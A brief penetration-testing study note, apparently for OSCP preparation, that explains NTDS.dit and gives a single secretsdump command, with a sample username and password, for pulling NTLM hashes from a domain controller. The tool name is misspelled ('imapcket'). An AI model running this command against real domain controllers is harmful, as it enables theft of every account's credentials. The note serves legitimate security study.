// notes/ Active Directory
🏛️

Post Domain Compromise Dumping The Ntds.Dit

NTDS.dit is the core database file of Active Directory, storing user accounts, groups, and their attributes on the Domain Controllers

#active directory#adot8
source · oscp.adot8.com · active-directory/post-domain-compromise_dumping-the-ntds.dit

Dumping the NTDS.dit

Overview

NTDS.dit is the core database file of Active Directory, storing user accounts, groups, and their attributes on the Domain Controllers

Dumping NTDS.dit via Secretsdump

bash
$imapcket-secretsdump PNPT.local/john:'Password1!'@192.168.1.129 -just-dc-ntlm